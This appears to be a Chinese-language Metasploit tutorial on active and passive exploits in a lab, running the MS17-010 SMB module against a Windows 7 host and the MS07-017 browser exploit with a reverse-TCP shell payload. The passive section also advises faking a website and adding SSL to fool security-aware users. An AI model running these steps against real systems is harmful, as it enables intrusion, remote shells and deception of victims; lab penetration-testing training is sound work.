【MSFconsole进阶】exploits（渗透攻击模块）：Active Exploit（主动渗透攻击）、Passive Exploit（被动渗透攻击）

目录

exploits（渗透攻击模块）

一、简介：

二、Active Exploit（主动渗透攻击）

2.1、前提：

2.2、示例：

2.2.1、实验环境：

2.2.2、第一步：信息收集

2.2.3、第二步：测试目标是否在线

2.2.4、第三步：测试漏洞为ms17_010

2.2.5、第四步：进入到会话，执行

三、Passive Exploit（被动渗透攻击）

3.1、简介：

3.2、示例

3.2.1、实验环境：

3.2.2、第一步：装载模块

3.2.3、第二步：

3.2.4、第三步：诱使目标点击

3.2.5、第四步：进入会话

---

---

 

exploits（渗透攻击模块）

一、简介：

利用系统漏洞进行攻击的动作，此模块对应每一个具体漏洞的攻击方法

分为主动（Active Exploit）、被动（Passive Exploit）

确实挺多的

 

---

---

 

二、Active Exploit（主动渗透攻击）

2.1、前提：

发现服务--->寻找漏洞

目标开启了某种服务，并且这个服务存在漏洞

2.2、示例：

2.2.1、实验环境：

目标关闭防火墙

目标：Windows 7 旗舰版 Service Pack 1 。IP地址为192.168.190.138

攻击机：Kali 。IP地址为192.168.190.131

---

2.2.2、第一步：信息收集

使用nmap扫描目标主机看是否存在常见漏洞

db_nmap --script=vuln 192.168.190.138

结果

Risk factor: HIGH 

风险因素：高

A critical remote code execution vulnerability exists in Microsoft SMBv1

Microsoft SMBV1中存在关键的远程代码执行漏洞

servers (ms17-010)

---

2.2.3、第二步：测试目标是否在线

使用辅助模块auxiliary

# 装载具体模块

use auxiliary/scanner/discovery/arp_sweep

#可以查看相关命令

show options

# 设置模块（目标、速度）

set rhosts 192.168.190.138

# 设置线程

set threads 250

# 启动模块

run

如果扫不出来，就可能是有防火墙（我是提前关了防火墙的） 

---

2.2.4、第三步：测试漏洞为ms17_010

# 使用ms17的漏洞利用模块

use exploit/windows/smb/ms17_010_psexec

# 查看使用方法

show options

# 设置

set rhosts 192.168.190.138

# 执行漏洞攻击

run

Unable to find accessible named pipe!

无法找到可访问的命名管！

 Exploit completed, but no session was created.

漏洞利用完成，但未创建会话。

（如果创建成功再执行第四步）

---

2.2.5、第四步：进入到会话，执行

#可以查看已经创建的会话

session -l

#进入这个对应的shell

sessions -i ID

再执行自己想执行的命令

---

---

三、Passive Exploit（被动渗透攻击）

3.1、简介：

浏览器软件漏洞攻击和文件格式漏洞攻击，引诱目标用户打开触发。

#查看支持的渗透攻击模块

show exploits    

3.2、示例

3.2.1、实验环境：

目标开启防火墙

目标：Windows 7 旗舰版 Service Pack 1 。IP地址为192.168.190.138

攻击机：Kali 。IP地址为192.168.190.131

现在使用（主动攻击）Active进行攻击不会成功

使用（被动攻击）Passive，构造链接，诱使目标连接，利用浏览器的漏洞

---

3.2.2、第一步：装载模块

挂载模块

use exploit/windows/browser/ms07_017_ani_loadimage_chunksize

show options
 

---

3.2.3、第二步：

伪造网站，诱使目标打开

SRVHOST可以指定为本机的IP地址，我们也可以打开SSL和设置SSL的证书，迷惑有安全意识的用户

URIPATH是访问的URL地址，可手动指定，比如192.168.190.131/service（一般默认根目录）

---

#设置

set SRVHOST 192.168.190.131

set PAYLOAD windows/shell/reverse_tcp

set LHOST 192.168.190.131

exploit

---

3.2.4、第三步：诱使目标点击

伪造了一个存在漏洞利用代码的WEB站点，这个站点等待浏览器版本存在漏洞的用户去访问它，将exploit注入到浏览器进程中，利用浏览器漏洞执行payload

我们在目标PC上用不同浏览器访问这个URL

访问以后，就会有记录，并尝试建立连接

没有后续就是可能没有相关已知的漏洞，一直处于等待阶段

---

3.2.5、第四步：进入会话

#可以查看已经创建的会话

session -l

#进入这个对应的shell

sessions -i ID

再执行自己想执行的命令